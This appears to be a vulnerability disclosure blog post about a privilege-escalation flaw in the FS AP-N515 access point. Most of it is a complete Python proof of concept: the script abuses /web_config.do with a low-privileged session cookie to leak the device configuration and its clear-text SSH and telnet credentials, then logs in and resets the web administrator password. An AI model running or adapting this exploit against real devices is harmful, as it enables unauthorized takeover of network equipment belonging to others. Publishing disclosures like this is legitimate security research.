- Published on
FS AP-N515; Privilege Escalation
- Authors
- Name
- MOHAMMED ADEL
Description
The FS AP-515 access point is vulnerable to a flaw in the /web_config.do
endpoint, which can be exploited by low-privileged attackers to gain unauthorized control of the device. When a crafted POST request is sent to this endpoint, it returns the access point's configuration file, which includes clear-text SSH and TELNET credentials. With these exposed credentials, attackers can authenticate to the device via SSH or TELNET, both of which provide remote access.
Once the attacker gains access through SSH (which is enabled by default), they can use the clear-text password to authenticate and establish a session. If TELNET is enabled instead, the attacker can leverage the TELNET password to gain access. After authenticating, the attacker can proceed to escalate their privileges by changing the web administrator's password, thus gaining full administrative control over the access point.
Proof of Concept (PoC)
import requests, sys
import warnings, time
warnings.simplefilter("ignore", category=DeprecationWarning)
import telnetlib
warnings.filterwarnings('ignore', message='Unverified HTTPS request')
from urllib.parse import urlparse
import paramiko
def strip_protocol(url):
parsed_url = urlparse(url)
return parsed_url.hostname
def Account_Takeover_Via_SSH(URL, password):
print(f"\n\n[*] Connecting to {URL}...")
ssh = None
try:
ssh = paramiko.SSHClient()
ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
ssh.connect(URL, username="admin", password=password)
shell = ssh.invoke_shell()
commands = [
"config",
"webmaster level 0 username admin password 0xPolar@SSH",
"exit",
"write memory"
]
print("[-] Executing commands...")
for command in commands:
shell.send(command + "\n")
time.sleep(1)
custom_message = f"[-] Command '{command}' executed successfully!"
print(custom_message)
print("\n\n[+] All commands executed successfully.")
print("[+] Username: admin")
print("[+] New Password: 0xPolar@SSH")
except Exception as e:
print(f"An error occurred: {e}")
finally:
if ssh is not None:
ssh.close()
def Account_Takeover_Via_Telnet(URL, password):
print(f"\n\n[*] Connecting to {URL}...")
try:
tn = telnetlib.Telnet(URL, 23)
tn.read_until(b"Password:")
tn.write(password.encode('ascii') + b"\n")
print("[*] Authenticating With Password: "+password)
tn.read_until(b"FS#")
tn.write(b"config\n")
print("[*] Entering Configuration Mode")
tn.read_until(b"FS(config)#")
tn.write(b"webmaster level 0 username admin password 0xPolar@Telnet\n")
print("[*] Changing Administrator Password")
tn.read_until(b"FS(config)#")
tn.write(b"exit\n")
print("[*] Exiting Configuration Mode")
tn.read_until(b"FS#")
tn.write(b"write memory\n")
print("[*] Saving Changes")
tn.close()
print(f"[+] Changed the Administrator's Password successfully.\n"
f"[+] Below are the new credentials:\n"
f"[+] Username: admin\n"
f"[+] Password: 0xPolar@Telnet")
except Exception as e:
print(f"An error occurred: {e}")
def Get_Config(URL, Cookie):
print("[*] Getting AP Config")
url = URL+"/web_config.do"
cookies = {"LOCAL_LANG_COOKIE": "", "UI_LOCAL_COOKIE": "", "mac": "", "supportWpa3": "1", "main_ui_cookie": "", "SIDS": Cookie, "login": "1", "oid": ""}
headers = {"User-Agent": "0xpolar", "Content-Type": "application/x-www-form-urlencoded; charset=UTF-8", "X-Requested-With": "XMLHttpRequest"}
data = {"command": "show running-config", "mode_url": "exec"}
r = requests.post(url, headers=headers, cookies=cookies, data=data, verify=False)
if "<return-desc>Success</return-desc>" in r.text:
print("[+] Config: \n")
print(r.text+"\n")
elif "Auth error" in r.text:
print("[-] SID is not valid !")
exit()
else:
print("[-] Something went wrong\n")
print(r.text+"\n")
exit()
def Check_SSH_AND_TELNET(URL, Cookie):
print("[*] Checking Avaliable Services")
url = URL+"/web_config.do"
cookies = {"SIDS": Cookie, "login": "", "oid": ""}
headers = {"User-Agent": "0xpolar", "Content-Type": "application/x-www-form-urlencoded; charset=UTF-8", "X-Requested-With": "XMLHttpRequest"}
data = {"command": "show service", "mode_url": "exec"}
r = requests.post(url, headers=headers, cookies=cookies, data=data, verify=False)
if "ssh-server : enabled" in r.text:
print("[*] SSH Service is Enabled.")
hostname = strip_protocol(URL)
password = input("[?] SSH Password (Get it from the above config file): ")
Account_Takeover_Via_SSH(hostname, password)
elif "telnet-server : enabled" in r.text:
print("[*] Telnet Service is Enabled.")
hostname = strip_protocol(URL)
password = input("[?] Telnet Password (Get it from the above config file): ")
print("[*] HOSTNAME : "+hostname)
print("[*] PASSWORD : "+password)
Account_Takeover_Via_Telnet(hostname, password)
else:
print("[-] SSH & Telnet are Disabled.")
URL = sys.argv[1] # Examples: http://target.com || https://target.com
Cookie = sys.argv[2] # SID Example: A2A98BDE288AEC4CA0184DEE5478DE68
print("[+] Target: "+URL)
print("[+] Cookie of a low-privileged account: "+Cookie)
Get_Config(URL, Cookie)
Check_SSH_AND_TELNET(URL, Cookie)